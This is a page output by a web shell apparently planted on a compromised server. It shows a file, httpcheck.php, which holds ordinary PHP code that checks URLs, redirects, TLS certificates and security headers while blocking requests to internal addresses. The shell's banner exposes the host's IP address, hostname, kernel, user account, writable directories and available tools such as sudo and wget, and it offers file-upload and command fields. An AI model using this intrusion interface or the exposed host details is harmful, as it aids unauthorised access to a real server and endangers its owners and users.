403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/clients/client2/web21/web/api/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/clients/client2/web21/web/api/lib/httpcheck.php
<?php
/**
 * SSRF-sichere HTTP-/URL-/TLS-Analyse.
 *
 * Sicherheit:
 *  - Nur http/https, nur Port 80/443.
 *  - Jeder Hop (inkl. Redirect-Ziel) wird auf ÖFFENTLICHE IP aufgelöst; interne
 *    Ziele werden blockiert.
 *  - Verbindung wird per CURLOPT_RESOLVE auf die geprüfte IP gepinnt
 *    (Schutz gegen DNS-Rebinding/TOCTOU).
 *  - Redirects werden manuell begrenzt gefolgt, kein Body-Download über Limit.
 *
 * @package SafeMyIdent\Api
 */

declare(strict_types=1);

require_once __DIR__ . '/net.php';

/**
 * Sicherheits-Header, die wir bewerten.
 *
 * @return array<string,string>
 */
function smi_http_security_headers(): array
{
    return [
        'strict-transport-security' => 'HSTS (erzwingt HTTPS)',
        'content-security-policy'   => 'Content-Security-Policy (Schutz vor XSS/Injection)',
        'x-frame-options'           => 'X-Frame-Options (Clickjacking-Schutz)',
        'x-content-type-options'    => 'X-Content-Type-Options (MIME-Sniffing-Schutz)',
        'referrer-policy'           => 'Referrer-Policy (Datenschutz beim Verweisen)',
        'permissions-policy'        => 'Permissions-Policy (Feature-Steuerung)',
    ];
}

/**
 * Prüft/pinnt einen Hop: löst Host auf, verweigert interne Ziele & fremde Ports.
 *
 * @param string $url URL des Hops.
 * @return array{ok:bool,host:string,ip:string,port:int,scheme:string,error:string}
 */
function smi_http_pin(string $url): array
{
    $fail = ['ok' => false, 'host' => '', 'ip' => '', 'port' => 0, 'scheme' => '', 'error' => ''];
    $p = parse_url($url);
    if (!is_array($p) || empty($p['host'])) {
        $fail['error'] = 'Ungültige URL.';
        return $fail;
    }
    $scheme = strtolower($p['scheme'] ?? 'http');
    if (!in_array($scheme, ['http', 'https'], true)) {
        $fail['error'] = 'Nur http/https erlaubt.';
        return $fail;
    }
    $host = trim($p['host'], '[]');
    $port = (int) ($p['port'] ?? ($scheme === 'https' ? 443 : 80));
    if (!in_array($port, [80, 443], true)) {
        $fail['error'] = 'Nur Port 80/443 erlaubt.';
        return $fail;
    }
    $ips = smi_resolve_public_ips($host);
    if (empty($ips['all'])) {
        $fail['error'] = 'Ziel nicht öffentlich auflösbar (blockiert).';
        return $fail;
    }
    // Bevorzugt IPv4 für stabile CURLOPT_RESOLVE-Pinnung.
    $ip = $ips['ipv4'][0] ?? $ips['all'][0];
    return ['ok' => true, 'host' => $host, 'ip' => $ip, 'port' => $port, 'scheme' => $scheme, 'error' => ''];
}

/**
 * Einen einzelnen HTTP-Request (ohne Auto-Redirect) SSRF-sicher ausführen.
 *
 * @param string $url URL.
 * @return array<string,mixed>
 */
function smi_http_once(string $url): array
{
    $pin = smi_http_pin($url);
    if (!$pin['ok']) {
        return ['ok' => false, 'error' => $pin['error'], 'url' => $url];
    }
    if (!function_exists('curl_init')) {
        return ['ok' => false, 'error' => 'cURL nicht verfügbar.', 'url' => $url];
    }
    $ch = curl_init($url);
    $t0 = microtime(true);
    $headerLines = [];
    $limit = 262144; $downloaded = 0;
    curl_setopt_array($ch, [
        CURLOPT_NOBODY         => false,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => false,               // manuell folgen.
        CURLOPT_CONNECTTIMEOUT => 6,
        CURLOPT_TIMEOUT        => 10,
        CURLOPT_SSL_VERIFYPEER => true,
        CURLOPT_SSL_VERIFYHOST => 2,
        CURLOPT_CERTINFO       => true,
        CURLOPT_USERAGENT      => 'SafeMyIdent-IPCheck/1.0 (+https://www.safemyident.de/tools/ip-check/)',
        CURLOPT_RESOLVE        => [$pin['host'] . ':' . $pin['port'] . ':' . $pin['ip']], // Pin.
        CURLOPT_PROTOCOLS      => defined('CURLPROTO_HTTP') ? (CURLPROTO_HTTP | CURLPROTO_HTTPS) : 0,
        CURLOPT_BUFFERSIZE     => 16384,
        CURLOPT_HEADERFUNCTION => function ($c, $h) use (&$headerLines) { $headerLines[] = $h; return strlen($h); },
        CURLOPT_WRITEFUNCTION  => function ($c, $chunk) use (&$downloaded, $limit) {
            $downloaded += strlen($chunk);
            return $downloaded > $limit ? -1 : strlen($chunk);
        },
    ]);
    curl_exec($ch);
    $elapsed = (microtime(true) - $t0) * 1000;
    $errno = curl_errno($ch);
    $info = curl_getinfo($ch);
    $status = (int) ($info['http_code'] ?? 0);
    curl_close($ch);

    // Header aus HEADERFUNCTION (letzter Block bei evtl. mehreren).
    $headers = smi_parse_headers(implode('', $headerLines));

    if ($status === 0 && $errno !== 0 && $errno !== 23 && $errno !== 42) {
        return ['ok' => false, 'error' => 'Verbindung fehlgeschlagen.', 'url' => $url, 'errno' => $errno];
    }

    // Zertifikat (nur https).
    $cert = [];
    if (($pin['scheme'] === 'https') && !empty($info['certinfo'][0])) {
        $c = $info['certinfo'][0];
        $cert = [
            'issuer'    => smi_cert_field($c['Issuer'] ?? '', 'O') ?: ($c['Issuer'] ?? ''),
            'subject'   => $c['Subject'] ?? '',
            'valid_from'=> $c['Start date'] ?? '',
            'valid_to'  => $c['Expire date'] ?? '',
        ];
    }

    $location = $headers['location'][0] ?? '';
    return [
        'ok'       => true,
        'url'      => $url,
        'status'   => $status,
        'headers'  => $headers,
        'location' => $location,
        'scheme'   => $pin['scheme'],
        'ip'       => $pin['ip'],
        'cert'     => $cert,
        'time_ms'  => round($elapsed),
    ];
}

/**
 * Header-Rohtext → assoziatives Array (lowercase keys, Werte als Liste).
 *
 * @param string $text Header-Block.
 * @return array<string,string[]>
 */
function smi_parse_headers(string $text): array
{
    $out = [];
    // Nur den LETZTEN Header-Block (nach evtl. 100-continue) nehmen.
    $blocks = preg_split("/\r?\n\r?\n/", trim($text));
    $block  = is_array($blocks) ? end($blocks) : $text;
    foreach (preg_split("/\r?\n/", (string) $block) as $line) {
        if (str_contains($line, ':')) {
            [$k, $v] = explode(':', $line, 2);
            $out[strtolower(trim($k))][] = trim($v);
        }
    }
    return $out;
}

/**
 * Feld aus einem DN-String (z. B. Issuer "O") lesen.
 *
 * @param string $dn    DN.
 * @param string $field Feldname.
 * @return string
 */
function smi_cert_field(string $dn, string $field): string
{
    if (preg_match('/(?:^|,|\/)\s*' . preg_quote($field, '/') . '\s*=\s*([^,\/]+)/i', $dn, $m)) {
        return trim($m[1]);
    }
    return '';
}

/**
 * Vollständige URL-Analyse inkl. Redirect-Kette, TLS & Security-Headern.
 *
 * @param string $url Start-URL (validiert).
 * @return array<string,mixed>
 */
function smi_url_analyze(string $url): array
{
    $chain = [];
    $current = $url;
    $final = null;
    $max = 6;

    for ($i = 0; $i < $max; $i++) {
        $hop = smi_http_once($current);
        $chain[] = [
            'url'    => $current,
            'status' => $hop['ok'] ? ($hop['status'] ?? 0) : 0,
            'ok'     => (bool) $hop['ok'],
            'error'  => $hop['ok'] ? '' : ($hop['error'] ?? ''),
        ];
        if (!$hop['ok']) {
            break;
        }
        $final = $hop;
        $loc = $hop['location'] ?? '';
        $status = $hop['status'] ?? 0;
        if ($status >= 300 && $status < 400 && $loc !== '') {
            // Relativ → absolut.
            $current = smi_abs_url($current, $loc);
            if ($current === '') {
                break;
            }
            continue;
        }
        break;
    }

    if ($final === null) {
        return ['ok' => false, 'error' => $chain[0]['error'] ?? 'Analyse fehlgeschlagen.', 'chain' => $chain];
    }

    // Security-Header auswerten.
    $present = [];
    foreach (smi_http_security_headers() as $h => $desc) {
        $present[$h] = isset($final['headers'][$h]) ? implode('; ', $final['headers'][$h]) : '';
    }
    $server = isset($final['headers']['server'][0]) ? $final['headers']['server'][0] : '';

    // Zertifikat bewerten.
    $cert = $final['cert'] ?? [];
    $certValid = null; $daysLeft = null;
    if (!empty($cert['valid_to'])) {
        $exp = strtotime($cert['valid_to']);
        if ($exp !== false) {
            $daysLeft = (int) floor(($exp - time()) / 86400);
            $certValid = $daysLeft >= 0;
        }
    }

    return [
        'ok'            => true,
        'start_url'     => $url,
        'final_url'     => $final['url'],
        'final_status'  => $final['status'],
        'chain'         => $chain,
        'redirects'     => max(0, count($chain) - 1),
        'https'         => ($final['scheme'] ?? '') === 'https',
        'hsts'          => $present['strict-transport-security'] !== '',
        'security'      => $present,
        'server'        => $server,
        'cert'          => $cert,
        'cert_valid'    => $certValid,
        'cert_days_left'=> $daysLeft,
        'time_ms'       => $final['time_ms'] ?? null,
    ];
}

/**
 * Relative URL gegen Basis auflösen (vereinfachte, sichere Variante).
 *
 * @param string $base Basis-URL.
 * @param string $rel  Location.
 * @return string Absolute URL oder ''.
 */
function smi_abs_url(string $base, string $rel): string
{
    if (preg_match('#^https?://#i', $rel)) {
        return $rel;
    }
    $b = parse_url($base);
    if (!is_array($b) || empty($b['host'])) {
        return '';
    }
    $scheme = $b['scheme'] ?? 'http';
    $host   = $b['host'];
    $port   = isset($b['port']) ? ':' . $b['port'] : '';
    if (str_starts_with($rel, '//')) {
        return $scheme . ':' . $rel;
    }
    if (str_starts_with($rel, '/')) {
        return $scheme . '://' . $host . $port . $rel;
    }
    $path = $b['path'] ?? '/';
    $dir  = substr($path, 0, (int) strrpos($path, '/') + 1);
    return $scheme . '://' . $host . $port . $dir . $rel;
}

Youez - 2016 - github.com/yon3zu
LinuXploit